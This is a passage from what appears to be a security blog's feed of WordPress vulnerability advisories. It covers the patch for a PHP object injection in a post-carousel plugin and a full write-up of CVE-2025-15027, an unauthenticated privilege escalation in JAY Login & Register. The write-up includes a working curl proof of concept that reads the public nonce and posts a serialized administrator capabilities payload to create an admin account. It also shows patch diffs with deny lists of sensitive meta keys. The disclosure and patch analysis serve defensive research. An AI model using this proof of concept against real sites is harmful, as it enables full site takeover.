&lt;td&gt;&lt;code&gt;includes/class-smart-post-show-import-export.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Replaced &lt;code&gt;maybe_unserialize()&lt;/code&gt; with restricted &lt;code&gt;unserialize()&lt;/code&gt; using &lt;code&gt;allowed_classes =&amp;gt; false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;main.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version bump &lt;code&gt;3.0.12&lt;/code&gt; → &lt;code&gt;3.0.13&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;readme.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Changelog entry and stable tag update&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch replaces the unsafe &lt;code&gt;maybe_unserialize()&lt;/code&gt; call with a hardened deserialization block that explicitly disallows all PHP class instantiation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-// meta value.
-$meta_value = maybe_unserialize( str_replace( &apos;{#ID#}&apos;, $new_shortcode_id, $value ) );
+// Raw meta value with placeholder replaced.
+$meta_value_raw = str_replace( &apos;{#ID#}&apos;, $new_shortcode_id, $value );
+
+if ( is_string( $meta_value_raw ) &amp;amp;&amp;amp; is_serialized( $meta_value_raw ) ) {
+    // Use PHP&apos;s native unserialize() with &apos;allowed_classes&apos; =&amp;gt; false to stop object creation.
+    $meta_value = @unserialize(
+        $meta_value_raw,
+        array(
+            &apos;allowed_classes&apos; =&amp;gt; false, // Disallow all classes.
+        )
+    );
+
+    // Fallback for blocked objects or invalid serialization.
+    if ( false === $meta_value &amp;amp;&amp;amp; &apos;b:0;&apos; !== $meta_value_raw ) {
+        $meta_value = $meta_value_raw;
+    }
+} else {
+    $meta_value = $meta_value_raw;
+}
+
+// Ensure no object is ever stored in DB.
+if ( is_object( $meta_value ) ) {
+    $meta_value = $meta_value_raw;
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Key improvements:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;unserialize(..., [&apos;allowed_classes&apos; =&amp;gt; false])&lt;/code&gt;&lt;/strong&gt; — PHP 7.0+ option that prevents instantiation of any class during deserialization. Serialized arrays, booleans, integers, strings, and floats are still decoded normally; only objects are blocked.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fallback to raw value&lt;/strong&gt; — if deserialization returns &lt;code&gt;false&lt;/code&gt; (which can happen on a blocked object or malformed data), the raw string is stored instead, avoiding data loss.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Explicit object check&lt;/strong&gt; — a final &lt;code&gt;is_object()&lt;/code&gt; guard ensures that even if the &lt;code&gt;unserialize()&lt;/code&gt; call somehow returns an object (e.g., &lt;code&gt;stdClass&lt;/code&gt; from an array-of-objects), the raw value is stored rather than the object.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Is the fix complete?&lt;/strong&gt; Yes, for this specific vulnerability class. The &lt;code&gt;allowed_classes =&amp;gt; false&lt;/code&gt; option is the PHP-native defense against Object Injection via deserialization. Serialized arrays and primitives are still processed correctly for legitimate import payloads, so there is no functional regression.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Residual risk:&lt;/strong&gt; None specific to this vulnerability. The &lt;code&gt;@&lt;/code&gt; operator suppresses warnings on malformed serialized data, which is acceptable here since the fallback correctly stores the raw value.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/includes/class-smart-post-show-import-export.php b/includes/class-smart-post-show-import-export.php
index a4d8bf3..53cde0e 100644
--- a/includes/class-smart-post-show-import-export.php
+++ b/includes/class-smart-post-show-import-export.php
@@ -147,10 +147,36 @@ class Smart_Post_Show_Import_Export {
 				foreach ( $shortcode[&apos;meta&apos;] as $key =&amp;gt; $value ) {
 					// meta key.
 					$meta_key = sanitize_key( $key );
-					// meta value.
-					$meta_value = maybe_unserialize( str_replace( &apos;{#ID#}&apos;, $new_shortcode_id, $value ) );
 
-					// update meta.
+					// Raw meta value with placeholder replaced.
+					$meta_value_raw = str_replace( &apos;{#ID#}&apos;, $new_shortcode_id, $value );
+
+					if ( is_string( $meta_value_raw ) &amp;amp;&amp;amp; is_serialized( $meta_value_raw ) ) {
+
+						$meta_value = @unserialize(
+							$meta_value_raw,
+							array(
+								&apos;allowed_classes&apos; =&amp;gt; false,
+							)
+						);
+
+						if ( false === $meta_value &amp;amp;&amp;amp; &apos;b:0;&apos; !== $meta_value_raw ) {
+							$meta_value = $meta_value_raw;
+						}
+					} else {
+						$meta_value = $meta_value_raw;
+					}
+
+					if ( is_object( $meta_value ) ) {
+						$meta_value = $meta_value_raw;
+					}
+
 					update_post_meta( $new_shortcode_id, $meta_key, $meta_value );
 				}
 			}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Vilaysone CHANTHAVONG (0xJ0cKkY) of Cyberus Technologies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 25, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.0.13 released by ShapedPlugin LLC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 13, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 14, 2026&lt;/td&gt;
&lt;td&gt;Advisory record last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;post-carousel&lt;/code&gt; plugin to version &lt;strong&gt;3.0.13&lt;/strong&gt; or later via the WordPress admin dashboard (Plugins → Updates) or WP-CLI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp plugin update post-carousel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/post-carousel/smart-post-show-post-grid-post-carousel-slider-and-list-category-posts-3012-authenticated-administrator-php-object-injection&quot;&gt;Wordfence Advisory — CVE-2026-3017&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3490703/post-carousel&quot;&gt;WordPress Trac Changeset #3490703 (patch commit)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3017&quot;&gt;CVE-2026-3017 — NVD / MITRE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.unserialize.php&quot;&gt;PHP Manual — unserialize() with allowed_classes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection&quot;&gt;OWASP — PHP Object Injection&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-14T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2025-15027: Privilege Escalation in JAY Login &amp; Register (CVSS 9.8)</title><link>https://hurayraiit.com/blog/cve-2025-15027-privilege-escalation-jay-login-register/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2025-15027-privilege-escalation-jay-login-register/</guid><description>CVE-2025-15027 (CVSS 9.8) is a critical unauthenticated privilege escalation in JAY Login &amp; Register ≤ 2.6.03, enabling full admin account creation with no credentials required.</description><pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2025-15027&lt;/strong&gt; is a critical privilege escalation in the &lt;a href=&quot;https://wordpress.org/plugins/jay-login-register/&quot;&gt;JAY Login &amp;amp; Register&lt;/a&gt; WordPress plugin (CVSS 9.8). Any unauthenticated visitor can create a full administrator account — no credentials required. The root cause is an unguarded loop in the registration handler that writes arbitrary user meta, including &lt;code&gt;wp_capabilities&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;JAY Login &amp;amp; Register&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jay-login-register&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15027&quot;&gt;CVE-2025-15027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Privilege Escalation via Arbitrary User Meta Update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/jay-login-register.2.6.03.zip&quot;&gt;&amp;lt;= 2.6.03&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/jay-login-register.2.6.04.zip&quot;&gt;2.6.04&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;February 7, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.linkedin.com/in/andreabocchetti/&quot;&gt;Andrea Bocchetti&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/jay-login-register/jay-login-register-2603-unauthenticated-privilege-escalation-via-jay-login-register-ajax-create-final-user&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The JAY Login &amp;amp; Register plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.6.03. This is due to the plugin allowing a user to update arbitrary user meta through the &lt;code&gt;jay_login_register_ajax_create_final_user&lt;/code&gt; function. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. AJAX Hook Registration&lt;/strong&gt; — &lt;code&gt;includes/jay-login-register-ajax-handler.php&lt;/code&gt;, line 757:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;wp_ajax_nopriv_jay_login_register_create_final_user&apos;, &apos;jay_login_register_ajax_create_final_user&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt; prefix registers the handler for &lt;strong&gt;unauthenticated&lt;/strong&gt; requests. Any visitor can trigger this endpoint via &lt;code&gt;POST /wp-admin/admin-ajax.php?action=jay_login_register_create_final_user&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Nonce Check&lt;/strong&gt; — line 759:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;check_ajax_referer(&apos;jay_login_register_nonce_action&apos;, &apos;jay_login_register_nonce&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A nonce check is present, but the same nonce is rendered in the &lt;strong&gt;public-facing&lt;/strong&gt; login/register form via &lt;code&gt;includes/jay-login-register-shortcodes.php&lt;/code&gt;, line 107:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp_nonce_field( &apos;jay_login_register_nonce_action&apos;, &apos;jay_login_register_nonce&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The login/register form is public. Any attacker can read the nonce from the page source and include it in their request. The nonce provides no real protection here — it was designed as a CSRF defense, but the token is publicly readable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. User Creation&lt;/strong&gt; — lines 953–958:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$user_id = wp_insert_user($user_data);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A new user is created with the &lt;code&gt;subscriber&lt;/code&gt; role. This is correct on its own.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Unguarded User Meta Loop (Root Cause)&lt;/strong&gt; — lines 984–1018:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;foreach ($_POST as $post_key =&amp;gt; $post_value) {
    if ( strpos($post_key, &apos;meta_&apos;) === 0 ) {
        $real_meta_key = substr($post_key, 5);
        $real_meta_key = str_replace(&apos; &apos;, &apos;_&apos;, $real_meta_key);
        $real_meta_key = sanitize_key($real_meta_key);
        
        // ... sanitize value ...
        
        update_user_meta($user_id, $real_meta_key, $final_value);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After user creation, the function iterates over &lt;strong&gt;every POST parameter&lt;/strong&gt;. For any key prefixed with &lt;code&gt;meta_&lt;/code&gt;, it strips the prefix and calls &lt;code&gt;update_user_meta()&lt;/code&gt; with the resulting key and the attacker-supplied value. There is no allowlist or denylist — the function accepts any meta key.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The function is designed to save custom registration fields (e.g., &lt;code&gt;meta_birthdate&lt;/code&gt;, &lt;code&gt;meta_national_id&lt;/code&gt;) to user meta. However, it does so without restricting which meta keys are writable. An attacker can prefix any WordPress internal meta key with &lt;code&gt;meta_&lt;/code&gt; and have it overwritten on the newly created account.&lt;/p&gt;
&lt;p&gt;In practice, the critical target is &lt;code&gt;wp_capabilities&lt;/code&gt;. This meta key stores an account&apos;s roles and permissions as a serialized PHP array:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;meta_key: wp_capabilities
meta_value: a:1:{s:10:&quot;subscriber&quot;;b:1;}  ← normal subscriber
meta_value: a:1:{s:13:&quot;administrator&quot;;b:1;} ← escalated to admin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By sending &lt;code&gt;meta_wp_capabilities=a:1:{s:13:&quot;administrator&quot;;b:1;}&lt;/code&gt; in the POST body, the attacker overwrites &lt;code&gt;wp_capabilities&lt;/code&gt; with an administrator capability set immediately after account creation.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;Why It Failed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;check_ajax_referer()&lt;/code&gt; nonce check&lt;/td&gt;
&lt;td&gt;The nonce (&lt;code&gt;jay_login_register_nonce_action&lt;/code&gt;) is embedded in the public login/register form via &lt;code&gt;wp_nonce_field()&lt;/code&gt;. Unauthenticated users can read the nonce from the page HTML before making the malicious request.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sanitize_key()&lt;/code&gt; on meta key&lt;/td&gt;
&lt;td&gt;Correctly lowercases the key and strips invalid characters, but &lt;code&gt;wp_capabilities&lt;/code&gt; is composed entirely of valid characters and passes through unchanged.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sanitize_textarea_field()&lt;/code&gt; on meta value&lt;/td&gt;
&lt;td&gt;Strips HTML tags and cleans whitespace, but does not alter PHP serialized data strings. The payload &lt;code&gt;a:1:{s:13:&quot;administrator&quot;;b:1;}&lt;/code&gt; contains no HTML and survives sanitization.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a new WordPress account with &lt;strong&gt;full administrator privileges&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Log in immediately (the function calls &lt;code&gt;wp_set_auth_cookie()&lt;/code&gt; after creation)&lt;/li&gt;
&lt;li&gt;Install plugins, upload files, modify themes, create backdoors, access all site data, and take over the site&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;jay-login-register&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 2.6.03&lt;/li&gt;
&lt;li&gt;The login/register shortcode (&lt;code&gt;[jay_login_register]&lt;/code&gt;) must be present on at least one public page&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Retrieve the public nonce from the login/register form page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit the page containing the login/register shortcode and extract the nonce value from the hidden input field. Replace &lt;code&gt;https://target.com/login/&lt;/code&gt; with the actual URL where the shortcode is rendered.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NONCE=$(curl -s &quot;https://target.com/login/&quot; \
  | grep -oP &apos;id=&quot;jay_login_register_nonce&quot; value=&quot;\K[^&quot;]+&apos;)
echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Create an administrator account&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;POST to the AJAX handler with a phone number (used as username), a password, and the crafted &lt;code&gt;meta_wp_capabilities&lt;/code&gt; payload. The serialized string &lt;code&gt;a:1:{s:13:&quot;administrator&quot;;b:1;}&lt;/code&gt; is valid PHP serialization for the capabilities array &lt;code&gt;[&apos;administrator&apos; =&amp;gt; true]&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;https://target.com/wp-admin/admin-ajax.php&quot; \
  --data-urlencode &quot;action=jay_login_register_create_final_user&quot; \
  --data-urlencode &quot;jay_login_register_nonce=${NONCE}&quot; \
  --data-urlencode &quot;user_input=09123456789&quot; \
  --data-urlencode &quot;jay_login_register_password=P@ssw0rd123!&quot; \
  --data-urlencode &apos;meta_wp_capabilities=a:1:{s:13:&quot;administrator&quot;;b:1;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected response:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;success&quot;: true,
  &quot;data&quot;: {
    &quot;message&quot;: &quot;ثبت نام با موفقیت انجام شد در حال ورود ...&quot;,
    &quot;redirect_url&quot;: &quot;https://target.com/&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Log in with the newly created administrator account&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -c /tmp/cookies.txt -X POST &quot;https://target.com/wp-login.php&quot; \
  --data-urlencode &quot;log=09123456789&quot; \
  --data-urlencode &quot;pwd=P@ssw0rd123!&quot; \
  --data-urlencode &quot;wp-submit=Log In&quot; \
  --data-urlencode &quot;redirect_to=/wp-admin/&quot; \
  -L -o /tmp/admin_page.html

# Verify admin dashboard access
grep -o &quot;&amp;lt;title&amp;gt;[^&amp;lt;]*&amp;lt;/title&amp;gt;&quot; /tmp/admin_page.html
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker now has a fully authenticated administrator session with complete control over the site. They can install plugins, upload files, read all content, modify users, and plant persistent backdoors.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Confirm the account has the &lt;code&gt;administrator&lt;/code&gt; role:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Using WP-CLI on the target server (if accessible):
wp user list --fields=user_login,roles --role=administrator

# Or via WordPress admin: Users → All Users → filter by Administrator role
# The attacker&apos;s phone number (09123456789) will appear with the Administrator role
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Additionally, query the &lt;code&gt;wp_usermeta&lt;/code&gt; table directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT user_id, meta_key, meta_value
FROM wp_usermeta
WHERE meta_key = &apos;wp_capabilities&apos;
  AND meta_value LIKE &apos;%administrator%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Only &lt;code&gt;includes/jay-login-register-ajax-handler.php&lt;/code&gt; was modified for this specific vulnerability (other files in the 2.6.04 release addressed the companion CVE-2025-15100).&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch introduces a &lt;strong&gt;three-level protection&lt;/strong&gt; system applied before any &lt;code&gt;update_user_meta()&lt;/code&gt; call in the registration loop:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level 1 — Explicit Denylist:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$disallowed_meta_keys = [
    &apos;wp_capabilities&apos;,
    &apos;wp_user_level&apos;,
    &apos;admin_color&apos;,
    &apos;rich_editing&apos;,
    &apos;comment_shortcuts&apos;,
    &apos;show_admin_bar_front&apos;,
    &apos;session_tokens&apos;,
    &apos;user-settings&apos;,
    &apos;user-settings-time&apos;
];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Blocks specifically known sensitive WordPress meta keys.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level 2 — Prefix-based Denylist:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (strpos($real_meta_key, &apos;wp_&apos;) === 0) {
    continue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Blocks all meta keys starting with &lt;code&gt;wp_&lt;/code&gt;, protecting against any WordPress-prefixed internal keys — including any that may not be on the explicit denylist.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level 3 — Allowlist (most effective):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$allowed_custom_fields = [];
foreach ($custom_fields_config as $f) {
    $allowed_custom_fields[] = sanitize_key($f[&apos;key&apos;]);
}

if (!in_array($real_meta_key, $allowed_custom_fields, true)) {
    continue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Builds a whitelist of only the meta keys that the site administrator has explicitly configured as custom registration fields. Only whitelisted keys are written. This is the strongest defense. Instead of trying to list every dangerous key to block, it only allows keys the admin has explicitly permitted.&lt;/p&gt;
&lt;p&gt;The patch replaces arbitrary meta writes with allowlist-gated writes — a complete fix for the root cause. One note: the allowlist is populated from plugin settings, which an administrator could manipulate. However, that falls outside the threat model (admin-to-admin is not an escalation).&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;+    $allowed_custom_fields = [];
     if ( is_array($custom_fields_config) ) {
         foreach ($custom_fields_config as $f) {
-            $fields_map[ $f[&apos;key&apos;] ] = $f;
+            $fields_map[ $f[&apos;key&apos;] ] = $f;
+            if ( isset($f[&apos;key&apos;]) &amp;amp;&amp;amp; !empty($f[&apos;key&apos;]) ) {
+                $allowed_custom_fields[] = sanitize_key($f[&apos;key&apos;]);
+            }
         }
     }
+
+    // 🔒 Blacklist: dangerous keys
+    $disallowed_meta_keys = [
+        &apos;wp_capabilities&apos;, &apos;wp_user_level&apos;, &apos;admin_color&apos;,
+        &apos;rich_editing&apos;, &apos;comment_shortcuts&apos;, &apos;show_admin_bar_front&apos;,
+        &apos;session_tokens&apos;, &apos;user-settings&apos;, &apos;user-settings-time&apos;
+    ];
 
     foreach ($_POST as $post_key =&amp;gt; $post_value) {
-        if ( strpos($post_key, &apos;meta_&apos;) === 0 ) {
+        if ( strpos($post_key, &apos;meta_&apos;) !== 0 ) continue;
             $real_meta_key = substr($post_key, 5);
             $real_meta_key = str_replace(&apos; &apos;, &apos;_&apos;, $real_meta_key);
             $real_meta_key = sanitize_key($real_meta_key);
 
+        // Level 1: Blacklist specific dangerous keys
+        if (in_array($real_meta_key, $disallowed_meta_keys, true)) continue;
+
+        // Level 2: Block ALL wp_* keys
+        if (strpos($real_meta_key, &apos;wp_&apos;) === 0) continue;
+
+        // Level 3: Only allow whitelisted fields
+        if (!in_array($real_meta_key, $allowed_custom_fields, true)) continue;
+
             // ... sanitize and update ...
             update_user_meta($user_id, $real_meta_key, $final_value);
-        }
     }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;February 7, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 7, 2026&lt;/td&gt;
&lt;td&gt;Patched version 2.6.04 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 8, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;jay-login-register&lt;/code&gt; plugin to version &lt;strong&gt;2.6.04&lt;/strong&gt; or later.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp plugin update jay-login-register
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If immediate update is not possible, deactivate the plugin until the update can be applied.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/jay-login-register/jay-login-register-2603-unauthenticated-privilege-escalation-via-jay-login-register-ajax-create-final-user&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/jay-login-register/tags/2.5.01/includes/jay-login-register-ajax-handler.php#L788&quot;&gt;WordPress Plugin Trac — Vulnerable file (2.5.01 ref)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15027&quot;&gt;CVE-2025-15027&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/jay-login-register/&quot;&gt;Plugin on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
